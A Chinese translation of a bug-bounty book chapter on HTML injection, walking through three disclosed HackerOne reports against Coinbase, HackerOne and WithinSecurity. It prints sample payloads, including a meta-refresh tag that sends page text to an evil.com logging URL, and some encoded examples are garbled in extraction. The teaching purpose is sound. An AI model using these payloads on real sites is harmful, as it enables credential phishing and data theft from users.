五、HTML 注入
作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0
描述
超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通常通过一些之后会呈现在页面的表单输入。 这个漏洞是独立的,不同于注入 Javascript,VBscript 等。
由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内容。 有时,这可能会导致页面外观的完全改变,或在其他情况下,创建表单来欺骗用户,例如,如果你可以注入 HTML,你也许能够将 <form>
标签添加到页面,要求用户重新输入他们的用户名和密码。 然而,当提交此表单时,它实际上将信息发送给攻击者。
示例
1. Coinbase 评论
难度:低
URL:coinbase.com/apps
报告链接:https://hackerone.com/reports/104543
报告日期:2015.12.10
奖金:$200
描述:
对于此漏洞,报告者识别出 Coinbase 在呈现文本时,实际上在解码 URI 的编码值。 对于那些不熟悉它的人(我在写这篇文章的时候),URI 中的字符是保留的或未保留的。 根据维基百科,保留字是有时有特殊意义的字符,如/
和&
。 未保留的字符是没有任何特殊意义的字符,通常只是字母。
因此,当字符被 URI 编码时,它将按照 ASCII 转换为其字节值,并以百分号(%
)开头。 所以,/
变成/
,&
成为&
。 另外,ASCII 是一种在互联网上最常见的编码,直到 UTF-8 出现,它是另一种编码类型。 现在,回到我们的例子,如果攻击者输入 HTML:
<h1>This is a test</h1>
Coinbase 实际上会将其渲染为纯文本,就像你上面看到的那样。但是,如果用户提交了 URL 编码字符,像这样:
代码语言:javascript复制This is a test
Coinbase 实际上会解码该字符串,并渲染相应的字符,像这样:
代码语言:javascript复制This is a test
使用它,报告者演示了如何提交带有用户名和密码字段的 HTML 表单,Coinbase 会渲染他。如果这个用户是恶意的,Coinbase 就会渲染一个表单,它将值提交给恶意网站来捕获凭据(假设人们填充并提交了表单)。
重要结论 当你测试一个站点时,要检查它如何处理不同类型的输入,包括纯文本和编码文本。特别要注意一些接受 URI 编码值,例如
/
,并渲染其解码值的站点,这里是/
。虽然我们不知道这个例子中,黑客在想什么,它们可能尝试了 URI 编码限制字符,并注意到 Coinbase 会解码它们。之后他们更一步 URL 编码了所有字符。 http://quick-encoder.com/url 是一个不错的 URL 编码器。你在使用时会注意到,它告诉你非限制字符不需要编码,并且提供了编码 URL 安全字符的选项。这就是获取用于 COinbase 的相同编码字符串的方式。
2. HackerOne 无意识 HTML 包含
难度:中
URL:hackerone.com
报告链接:https://hackerone.com/reports/112935
报告日期:2016.1.26
奖金:$500
描述:
在读完 Yahoo XSS 的描述(第七章示例四),我对文本编辑器中的 HTML 渲染测试产生了兴趣。这包含玩转 HackerOne 的 Markdown 编辑器,在图像标签中输入一些类似ismap= "yyy=xxx"
和"'test"
的东西。这样做的时候,我注意到,编辑器会在双引号里面包含一个单引号 - 这叫做悬置引号。
那个时候,我并没有真正理解它的含义。我知道如果你在某个地方注入另一个单引号,两个引号就会被浏览器一起解析,浏览器会将它们之间的内容视为一个 HTML 元素,例如:
代码语言:javascript复制<h1>This is a test</h1><p class="some class">some content</p>'
使用这个例子,如果你打算注入一个 Meta 标签:
代码语言:javascript复制<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
浏览器会提交两个引号之间的任何东西。现在,结果是,这个已经在 HackerOne 的 #110578 报告中由 intidc 公开。看到它公开之后,我有一点失望。
根据 HackerOne,它们依赖于 Redcarpet(一个用于 Markdown 处理的 Ruby 库)的实现,来转义任何 Markdown 输入的 HTML 输出,随后它会通过 React 组件的dangerouslySetInnerHTML
直接传递给 HTML DOM(也就是页面)。此外,React 是一个 JavaScript 库,可用于动态更新 Web 页面的内容,而不需要重新加载页面。
DOM 指代用于有效 HTML 以及 格式良好的 XML 的应用程序接口。本质上,根据维基百科,DOM 是跨平台并且语言无关的约定,用于展示 HTML、XHTML 和 XMl 中的对象,并与其交互。
在 HackerOne 的实现中,它们并没有合理转义 HTML 输出,这会导致潜在的漏洞。现在,也就是说,查看披露,我觉得我应该测试一下心得代码。我返回并测试了这个:
代码语言:javascript复制[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test" ")
它会变成
代码语言:javascript复制<a title="'test" ismap="alert xss" yyy="test" ' ref="http://www.toronotwebsi tedeveloper.com">test</a>
你可以看到,我能够将一堆 HTML 注入到<a>
标签中。所以,HackerOne 回滚了该修复版本,并重新开始转义单引号了。
重要结论 仅仅是代码被更新了,并不意味着一些东西修复了,而是还要测试一下。当部署了变更之后,同时意味着新的代码也可能存在漏洞。 此外,如果你觉得有什么不对,一定要深入挖掘。我知道一开始的尾后引号可能是个问题,但是我不知道如何利用它,所以我停止了。我本应该继续的。我实际上通过阅读 XSS Jigsaw 的
3. WithinSecurity 内容伪造
难度:低
URL:withinsecurity.com/wp-login.php
报告链接:https://hackerone.com/reports/111094
报告日期:2015.1.16
奖金:$250
描述:
虽然内容伪造实际上和 HTML 注入是不同的漏洞,我也将其包含在这里,因为它们拥有相似的本质,攻击者让一个站点渲染它们选择的内容。
WithinSecurity 构建在 WordPress 平台之上,它包含登录页面withinsecurity.com/wp-login.php
(这个站点已经合并到了 HackerOne 的核心平台中)。攻击者注意到了在登录过程中,如果发生了错误,WithinSecurity 就会渲染access_denied
,同时对应 URL 中的error
参数:
https://withinsecurity.com/wp-login.php?error=access_denied
注意到了这个,攻击者尝试修改error
参数,并发现无论参数传递了什么值,都会被站点渲染为错误信息的一部分,并展示给用户。这里是所用的示例:
https://withinsecurity.com/wp-login.php?error=Your account has %hacked
WithinSecurity 内容伪造
这里的关键是注意到 URL 中的参数在页面中渲染。虽然他们没有解释,我可以假设攻击者注意到了access_denied
展示在了页面上,但是也包含在 URL 中。这里他们也报告了,漏洞也可以由一个简单的测试,修改access_denied
参数来找到。
重要结论 时刻关注传递并且渲染为站点内容的 URL 参数。他们可能就是攻击者的机会,来欺骗受害者来执行一些恶意动作。
总结
HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。
发现这些漏洞并不是通过仅仅提交 HTML,而是弄清楚站点如何渲染你的输入文本,像是 URI 编码的字符。而且,虽然内容伪造并不和 HTML 注入完全一样,它也是类似的,因为它涉及让一些输入在 HTML 页面中反映给受害者。攻击者应该仔细寻找机会,来操纵 URL 参数,并让它们在站点上渲染。